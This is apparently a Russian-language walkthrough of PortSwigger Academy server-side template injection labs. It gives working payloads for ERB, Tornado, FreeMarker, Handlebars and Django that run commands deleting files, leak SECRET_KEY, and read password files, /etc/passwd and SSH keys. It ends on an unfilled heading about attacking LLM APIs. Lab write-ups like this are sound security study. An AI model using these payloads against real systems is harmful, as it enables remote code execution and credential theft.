Server-side template injection

1. Lab: Basic server-side template injection

В параметр message, который выскакивает при недоступности какого-то товара можно воткнуть ssti. Например,

```
<%= system("rm /home/carlos/morale.txt") %>
```

2. Lab: Basic server-side template injection (code context)

Тут можно ssti делать в ручке `/my-account/change-blog-post-author-display` которая потом триггерится на запощенных комментах.

Так как в торнадо выражения отделяются `{{ XXX }}`, попробую в поле вставить базовое `}}{{7*7}}`. Сработало. Приступаем к питон флексу.

```
blog-post-author-display=user.name}}{{7*7}}{%25+import+os+%25}{{os.system('rm+/home/
```

3. Lab: Server-side template injection using documentation

SSTI в Freemarker через new() (в документации описано че плохо) и класс Execute позволяет rce

```
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/mora
```

4. Lab: Server-side template injection in an unknown language with a documented exploit

Нашел, что используется Handlebars. Подумав над названием лабы, загуглил эксплоиты хандлебарсы ssti.

https://gist.github.com/vandaimer/b92cdda62cf731c0ca0b05a5acf719b2 - такой эксплоит нашел.

Подправил команду под мою на удаление файла, заэнкодил, получил

/?
message=%77%72%74%7a%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%

7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d

5. Lab: Server-side template injection with information disclosure via user-supplied objects

Джанго темплейты по базе джанго пошли. Вставил `{{settings.SECRET_KEY}}` и посмеялся над джанго разрабами

6. Lab: Server-side template injection in a sandboxed environment

Опять логинимся и у нас есть доступ до изменения темплейтов в постах. Видим доступ и коллы к обьекту product.

Через этот продукт можно, вызывая классы, получить интересующий нас файл

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

После этого полученную строку конвертирую в человечный вид при помощи awk

➜ echo “114 121 102 117 118 109 118 103 115 108 106 97 49 53 98 52 99 114 51 99” | awk ‘{for(i=1;i<=NF;i++) printf “%c”, $i} END {print “”}’

7. Lab: Server-side template injection with a custom exploit

Попробовал зааплоадить себе кривую аватарку. Был послан с текстом

/home/carlos/avatar_upload.php(19): User->setAvatar(‘/tmp/file_lab1…’, ‘application/x-p…’) #1 {main} thrown in /home/carlos/User.php on line 28

информацию задисклоузили

По предыдущим стопам, меняю имя отображения и пытаюсь там вызывать функцию найденную выше

```
blog-post-author-display=user.setAvatar('/etc/passwd')
```

При попытке это прорендерить в комменте - ошибка вылетает, говорит недостаточно аргументов он хочет еще тип)

Добавил аргументом `image/jpg` и посмотреть etc passwd хд

Попробовал просто вбить нужный .ssh/id_rsa и был послан `Nothing to see here :)`

Нашел функцию user.gdprDelete(), вызывал ее и удалил себя. Это случилосб потому что между прошлым шагом и этим я еще ставил файл User.php. Теперь вместо него я нормальный файл вставил и победил.

Web LLM attacks

1. Lab: Exploiting LLM APIs with excessive agency